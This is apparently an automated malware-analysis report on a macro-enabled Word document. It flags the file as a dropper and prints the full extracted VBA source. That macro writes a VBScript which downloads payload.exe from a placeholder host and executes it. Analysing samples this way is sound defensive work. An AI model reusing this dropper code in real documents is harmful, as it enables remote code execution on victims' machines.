MALICIOUS
362
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious OOXML document containing VBA macros. These macros utilize WScript.Shell and CreateObject to write a VBScript file to disk and then execute it. The VBScript itself is designed to download a payload from 'http://www.wherever.com/files/payload.exe' to 'C:\Users\Windows\Desktop'. This indicates a dropper functionality, aiming to fetch and execute further malicious content.
Heuristics 7
-
ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell "wscript C:\Users\Windows\Desktop\MyTestFile.vbs" -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
fileStream.WriteLine " objFile.Close( )" fileStream.WriteLine " Set WshShell = WScript.CreateObject(""WScript.Shell"")" fileStream.WriteLine " WshShell.Run ""C:\Users\Windows\Desktop\payload.exe""" -
Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URLVBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.Matched line in script
fileStream.WriteLine " objFile.Close( )" fileStream.WriteLine " Set WshShell = WScript.CreateObject(""WScript.Shell"")" fileStream.WriteLine " WshShell.Run ""C:\Users\Windows\Desktop\payload.exe""" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
fileStream.WriteLine " Const ForReading = 1, ForWriting = 2, ForAppending = 8" fileStream.WriteLine " Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )" fileStream.WriteLine " If objFSO.FolderExists( myPath ) Then" -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.wherever.com/files/payload.exe Referenced by macro
- http://�www.w�Ze@Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
- https://stackoverflow.com/a/517202/2822719Referenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3231 bytes |
SHA-256: 420c57574fe85c50c5466c4f0b9ce3963f233f8b0a560c6e0cbe5e5712c9b642 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub SaveTextToFile()
Dim filePath As String
filePath = "C:\Users\Windows\Desktop\MyTestFile.vbs"
' The advantage of correctly typing fso as FileSystemObject is to make autocompletion
' (Intellisense) work, which helps you avoid typos and lets you discover other useful
' methods of the FileSystemObject
Dim fso As FileSystemObject
Set fso = New FileSystemObject
Dim fileStream As TextStream
' Here the actual file is created and opened for write access
Set fileStream = fso.CreateTextFile(filePath)
' Write something to the file
fileStream.WriteLine "HTTPDownload ""http://www.wherever.com/files/payload.exe"", ""C:\Users\Windows\Desktop"""
fileStream.WriteLine " Sub HTTPDownload( myURL, myPath )"
fileStream.WriteLine " Dim i, objFile, objFSO, objHTTP, strFile, strMsg"
fileStream.WriteLine " Const ForReading = 1, ForWriting = 2, ForAppending = 8"
fileStream.WriteLine " Set objFSO = CreateObject( ""Scripting.FileSystemObject"" )"
fileStream.WriteLine " If objFSO.FolderExists( myPath ) Then"
fileStream.WriteLine " strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev( myURL, ""/"" ) + 1 ) )"
fileStream.WriteLine " ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, "" \ "" ) - 1 ) ) Then"
fileStream.WriteLine " strFile = myPath"
fileStream.WriteLine "End If"
fileStream.WriteLine " Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )"
fileStream.WriteLine " Set objHTTP = CreateObject( ""WinHttp.WinHttpRequest.5.1"" )"
fileStream.WriteLine " objHTTP.Open ""GET"", myURL, False"
fileStream.WriteLine " objHTTP.Send"
fileStream.WriteLine " For i = 1 To LenB( objHTTP.ResponseBody )"
fileStream.WriteLine " objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )"
fileStream.WriteLine "Next"
fileStream.WriteLine " objFile.Close( )"
fileStream.WriteLine " Set WshShell = WScript.CreateObject(""WScript.Shell"")"
fileStream.WriteLine " WshShell.Run ""C:\Users\Windows\Desktop\payload.exe"""
fileStream.WriteLine " End Sub"
' Close it, so it is not locked anymore
fileStream.Close
' Here is another great method of the FileSystemObject that checks if a file exists
'If fso.FileExists(filePath) Then
'MsgBox "Yay! The file was created! :D"
' Explicitly setting objects to Nothing should not be necessary in most cases, but if
' you're writing macros for Microsoft Access, you may want to uncomment the following
' two lines (see https://stackoverflow.com/a/517202/2822719 for details):
'Set fileStream = Nothing
'Set fso = Nothing
Shell "wscript C:\Users\Windows\Desktop\MyTestFile.vbs"
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 26112 bytes |
SHA-256: e9ad954b1fcac92b3b75b41c04570013d51fe88a08582d9fd9375707c8e9f186 |
|||
|
Detection
ClamAV:
Doc.Dropper.Agent-6412232-1
Obfuscation or payload:
unlikely
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.